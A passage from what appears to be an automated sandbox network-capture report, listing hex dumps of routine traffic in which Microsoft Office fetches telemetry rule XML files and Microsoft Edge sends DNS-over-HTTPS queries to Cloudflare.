2024-11-25 04:46:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 1ea24147-701e-000d-3aeb-3e6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044645Z-15b8b599d8885prmhC1TEBsnkw00000005fg00000000ghzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49866	172.64.41.3	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 04:46:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 04:46:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 04:46:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7eff2e5c9f4387-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 04:46:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom" c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49860	172.64.41.3	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 04:46:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 04:46:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 04:46:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7eff2e5a72de9b-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 04:46:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 12 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49872	172.64.41.3	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 04:46:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 04:46:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 04:46:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7eff2eff86c42a-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 04:46:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2a 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom*A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49875	172.64.41.3	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 04:46:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49876	172.64.41.3	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 04:46:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 04:46:46 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 04:46:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7eff30d87e43ac-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 04:46:46 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d2 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49877	172.64.41.3	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 04:46:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49883	172.64.41.3	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 04:46:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 04:46:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 04:46:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7eff38cd7643d7-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 04:46:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:47 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:47 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:47 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c63dd3a8-001e-0017-61d8-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044647Z-178bfbc474bbcwv4hC1NYCypys00000006vg000000006avn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:47 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:47 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:47 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:47 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: fe23875d-e01e-0052-75ea-3ed9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044647Z-15b8b599d88vp97chC1TEB5pzw00000005fg0000000050f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:47 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:47 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:47 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c229ce53-501e-008f-23c3-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044647Z-15b8b599d88m7pn7hC1TEB4axw00000005cg00000000hqd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:47 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:47 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044647Z-174c587ffdfx984chC1TEB676g00000005k000000000051k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:47 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:47 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:47 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:47 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 096488c1-001e-0046-44af-3eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044647Z-15b8b599d88hr8sfhC1TEBbca400000005eg0000000008xt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
